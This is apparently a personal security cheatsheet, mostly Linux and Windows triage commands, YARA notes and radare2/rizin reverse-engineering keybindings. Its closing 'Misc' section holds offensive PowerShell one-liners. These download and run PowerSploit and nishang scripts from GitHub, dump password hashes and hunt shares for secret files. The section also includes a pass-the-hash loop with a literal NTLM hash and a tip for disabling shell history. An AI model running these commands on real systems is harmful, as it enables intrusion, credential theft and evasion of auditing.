Find files modified in the last minute:

find / -mmin -1

General logs:

cat /var/log/syslog
cat /var/log/syslog | less
tail -f -n 5 /var/log/syslog
cat /var/log/syslog | grep fail
tail -f /var/log/syslog

Check SSH keys:

cat /root/.ssh/authorized_keys
cat /home/debian/.ssh/authorized_keys
cat /home/user1/.ssh/authorized_keys

Check /tmp content:

ls /tmp
ls -la /tmp
ls -la /tmp | more
less /tmp
ls -la /tmp | grep xxx

Windows

Users:

psloggedon \\<COMPUTER NAME>

for /L %i in (1,1,254) do psloggedon \\192.168.1.%i >> C:\users_output.txt
net users
net localgroup users
net localgroup administrators
net user NAME | findstr /B /C:"Last logon"
net view \\127.0.0.1 # shares
net session # sessions
net use # open sessions
nbstat -s # netbios TCP/IP activity
nbstat -na # unusual TCP/UDP port listening

Tasks:

tasklist /v
wmic process list full
wmic startup list full
wmic process get name,parentprocessid,processid
tasklist /m /fi "pid eq PID"
wmic process where processid=PID get commandline

Check scheduled tasks: https://blog.malwarebytes.com/cybercrime/2015/03/scheduled-tasks/

Services:

services.msc
net start
sc query | more
tasklist /svc

Check services listening to ports:

netstat -nao | findstr /B /C "ESTABLISHED"
tasklist /fi "pid eq PID"
tasklist /fi "pid eq PID" /m # get list of modules

Check past connections: File explorer > search for "hosts".

Keys

Get-ChildItem -Path Registry::HKEY_CURRENT_USER

Yara

Cheatsheet: https://medium.com/malware-buddy/security-infographics-9c4d3bd891ef#18dd

  • Meta: descriptive information about the rule
  • Strings: define specific strings you want to search in the binaries

Ex:

rule {
        strings:
                $hello_world = "hello world!"

        condition:
                $hello_world
}

Note: yara is truthy

  • Conditions: true, any of them (any of the variables), <=, >=, !=... Those can be combined with boolean: and, not, or

Generate rules with:

yarGen.py -m FILE --excludegood -o OUPUT_RULE

Reverse

Tricks

Print a decimal value in little endian:

import struct
struct.pack('<i', 123456789)

Print hexcode into stdin:

echo -n -e "\x12\x34\x56"

Powershell

Get-FileHash -Algorithm MD5 file.exe
strings.exe -accepteula file.exe
Get-Item -Path file.exe -Stream *
wmic process call create $(Resolve-Path file.exe:streamname)
Get-Content -path file.exe -stream streamname

radare2/rizin suite

(Source and also)

Get information about the binary:

If you use rizin, use rz-*.

rabin2 -I BIN # general info
rabin2 -i BIN # imports
rabin2 -s BIN # symbols
rabin2 -z BIN # strings
rax2 # used of hex, int and other dataformats
radiff2 # diffing
rahash2 # create hashes from file blocks
rasm2 # play with asm function
  • by default r2 doesn't analyse the binary, you can do it with aa or aaa
  • (check aa? for help and information about the commands) it is also possible to analyse the entire binary straigth away with r2 -A vuln or r2 -c=H vuln for the webinterface.
  • flags are interesting offset of the binary, such as Sections, Functions, Symbols and Strings, you can list them with fs and check some of them with fs <section> and use f to print the flags it contains ex: fs imports;f
  • to list all functions: afl
  • to list all imports: ii
  • iz lists strings in data sections and izz search for strings in the whole binary
  • axt stands for analyse x-refs to
  • use s fcn.00501510 and afn funcname to rename functions or afn name fcn.00401510 You can use and address too.
  • This command reveals us more of radare2 features. The axt command is used to "find data/code references to this address" (see ax?). The special operator @@ is like a foreach iterator sign, used to repeat a command over a list of offsets (see @@?), and str.* is a wildcard for all the flags that start with str.. This combination helps us not just to list the strings flags but also to list the function name, where they are used and the referencing instruction. Make sure to select the strings flagspace (default, use fs *) before.
  • to find a function or go somewhere, you can use s (seek). Ex: s main (your hex address will change and you will be in the main function)
  • to dissassemble: pdf. Whole sequence: s main; pdf
  • to show function arguments: afa and variables afv to rename a var, afvn and to set a type: afvt to analyse it: af
  • V get to visual mode, _ for quick search, select a func, var or xref: v
  • VV to get the graph disassembler, seek to function: g<identifier>
  • radare2 is equipped with a very strong and efficient suite of Visual Modes. The Visual Mode is much more user-friendly and takes the reversing experience using r2 to a whole new level. Pressing V will bring us to the Visual Mode screen. Use p/P to change between modes. At the top of the screen you can see the command which was used to generate the view. Navigate to the disassembly view using p. To go back from a specific screen, press q.
  • reopen in debug mode: ood and dc for debug continue
  • dr to show register and give: dr rip for a specific register
  • use x/X to list the references to/from (respectively) the current offset. Use the numbers to jump to a reference. radare2 commands
  • use :command to execute r2 commands from inside Visual Mode. This is similar to VIM.
  • you can add a comment using ; followed by Enter, remove it using ;- or even use your default text editor to add the comment using ;!.
  • m can be used to mark specific offset with a key of your choice. Press ' to go to your key. This helps to mark some key addresses that you’d like to quickly navigate to.

More keybindings:

/ # search string
/R # search ROP gadget
/R/ # search ROP gadget with regex


iS # show sections
iS | grep perm=..w # show writable sections
iS | grep perm=..x # show executable sections
ie # list entry points

pdb # show basic block disass
pdf @ [offset|funcname] # disass a function
p8 # print only bytes

afi # get function information
afa # show func arguments
afv # show func variables
afvn # rename func variables
afvt # set function variables type
af # add/analyse function

CC! # add comment
CC <text> # append comment
CC. # show comment
CCf # show comment in this function

axt [offset|funcname] | find xref of a function
is~imp. # list libc imports

V # enter visual mode

# in visual mode
v # select function variable, xref
_ <search string> # quicksearch
c # show cursor
d # set function name
; # add comment
;- # remove comment

VV # enter graph mode

p/P # cycle through graph types
g<identifier> # seek function
u # undo seek
' # show comments
/ # add comment
??? # select byteblock
tab # seek to nextyteblock
TAB # seek to previousyteblock

# in conditional branchs
t # to go to True
f # to go to False

# rename all function
afna@@f
# or set anal.slow=true and rerun
# test also with decai -n but slow and experiemental AI

# fuzzy search help
?*~...

# jq like parser
aflj~{}

# run a script from r2
. hello.r2
r2 -i hello.r2

# run python shell in r2
#!pipe python
then
import r2pipe
r2 = r2pipe.open()
r2.cmd("p8 32")


# analyse all symbols
af @@ sym*

PWN Specicic

ragg2 -P SIZE -r # generate cyclical pattern
wop0 $VALUE # find offset at pattern

e search.roplean = 4 # change the deep of the rop search
fd [offset|funcname] # computing how far a symbol is from where you currently
are

i~canary # find canaries
i~pic # for position independant code
i~nc # for non executable stack

aei # initialize emulation
aed # deinitialize emulation
aef # emulate a whole function
aes # single step

pxw [len] [@ offset] # hexdump
?v sym.main # get offset of a symbol
~fcn # to grep for fcn
j # append to get json data: ij, pdfj,  /Rj...

? 0x20 + 0x402a0 # calculus of offsets

Debug

r2 -D gdb -d binary gdb://addr:port
dr= # show registers
dcs* # emulate strace
pd [len] @ eax # disass at register eax
ds # step
dso # stepover
dc # continue
db # breakpoint
dcu # continue-until
dm # memory-maps
dx # code-inject
dd # file-desc

mananalysis

From Introductiory malware RE with radare sh0 @ r2con2024

iS # sections
iE # exports
ii # imports
is # symbols
iz # strings
it # hash
il # linked libs


# workflow
aaaaa
afl
afl ~main
afl ~entry
s entry0
pdf
pdg

# locating communications
ii ~connect
ii ~recv
ii ~inet_addr
ii ~gethostbyname
ii ~InternetConnect
ii ~InternetReadfile
ii ~HttpSendRequest
ii ~WinHttpConnect

# packed?
iS entropy
axt @@ str*
axt @@ sub*
ii
afl | wc -l

# viewing functions
pdf
pdc
pdg
pd 10 @main
axg

# change arch
e arch.bits=32
e asm.bits=32
e anal.arch=arm
e arch.endian=little
e ~arch

# printing data
px # print hexa bytes
pxw # print list of 32
pxq # print list of 64
ps # print string
psw # print wide string

# export byte to arrays
pc 30

# define structures
!cat person.h
to person # load
ts # view loaded structure
tls # display the structure
tp

pf # define function signatures

# shellcode emulation
aeim
aei
aeir rax=0
aes # stepping

r2/rizin has a fork ability to split one proces in various thread (TODO)

SOURCE

Some stolen config from https://gist.github.com/williballenthin/6857590dab3e2a6559d7.

In ~/.radare2rc:

# Show comments at right of disassembly if they fit in screen
e asm.cmt.right=true

# Shows pseudocode in disassembly. Eg mov eax, str.ok = > eax = str.ok
e asm.pseudo = true

# Ayu theme
eco ayu

# Use UTF-8 to show cool arrows that do not look like crap :)
e scr.utf8 = true

Custom Scripts

Strings analisys

List path in a pagefile:

strings pagefile.sys | grep -i "^[a-z]:\\\\" | sort | uniq | less

Search for env vars:

strings pagefile.sys | grep -i "^[a-zA-Z09_]*=.*" | sort -u | uniq | less

Search for URLs:

strings pagefile.sys | egrep "^https?://" | sort | uniq | less

Search for emails:

strings pagefile.sys | egrep '([[:alnum:]_.-]{1,64}+@[[:alnum:]_.-]{2,255}+?\.[[:alpha:].]{2,4})'

Aliases

Put them in your .aliases file and source it in your .bashrc or .zshrc.

alias serve='ruby -run -e httpd . -p 8000'
alias grepip='grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"'

Find all hashes in dir and subdir

find . -type f -exec sha256sum {} \; | tee sha.out
find . -type f -exec sha512sum {} \; | tee sha.out
find . -type f -exec md5sum {} \; | tee sha.out

Misc

Disable bash history logging:

unset HISTORYFILE

File authorizations in Linux:

777 rwxrwxrwx No restriction, global WRX any user can do anything.
755 rwxr-xr-x Owner has full access, others can read and execute the file.
700 rwx------ Owner has full access, no one else has access.
666 rw-rw-rw- All users can read and write but not execute.
644 rw-r--r-- Owner can read and write, everyone else can read.
600 rw------- Owner can read and write, everyone else has no access.

Runas Powershell:

Start-Process powershell.exe -Verb runas Start-Process powershell.exe -Credential <user>

View Shares With Permissions:

powershell.exe -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Invoke-ShareFinder -CheckShareAccess"

View files that contain certain words recursively:

 ls -Path \\SVHOST1.LAZULI.CORP\tmp$ -Include "*pass*","*admin*","*secret*" -Recurse -ErrorAction SilentlyContinue

View files which name contains certain words recursively:

dir -Path \\SVHOST1.LAZULI.CORP -Include "*pass*","*admin*","*secret*" -Recurse -ErrorAction SilentlyContinue

Connect to MSSQL Database:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/michaellwest/PowerShell-Modules/master/CorpApps/Invoke-SqlCommand.ps1')

Invoke-SqlCommand -Server 172.11.14.89 -Database master -Username sa -Password  -Query "exec sp_databases"

Port Scanning:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1')

Invoke-Portscan -Hosts [ip] -TopPorts 50

View Domain Controlers

nltest /dclist:

Get Hashes:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

Check Pass The Hash with multiple servers:

$hosts = @("SVDC1.LAZULI.CORP","SVFILES.LAZULI.CORP","SVHOST1.LAZULI.CORP","SVHOST2.LAZULI.CORP","SVFILES2.LAZULI.CORP")

foreach ($h in $hosts){ Invoke-WMIExec -Target $h -Username Administrator -Hash 78560bbcf70110fbfb5add17b5dfd762 -Command "hostname" -Verbose }

(n)Vim tricks

Remove blank lines:

:g/^$/d

Remove return carriage:

%s/^M//g

Replace something:

%s/origin/destination/g

Sort lines:

CTRL-V and select lines or do ggVG
:sort

For invert sort:
:%sort!

For numerical sort:
:sort n

Delete duplicated lines:

:g/^\(.*\)$\n\1/d

Grep stuff

  • -v: see NOT matches
  • -o: see ONLY matches

Sources

Books

  • Red Team Field Manual
  • Blue Team Field Manual

Website

Videos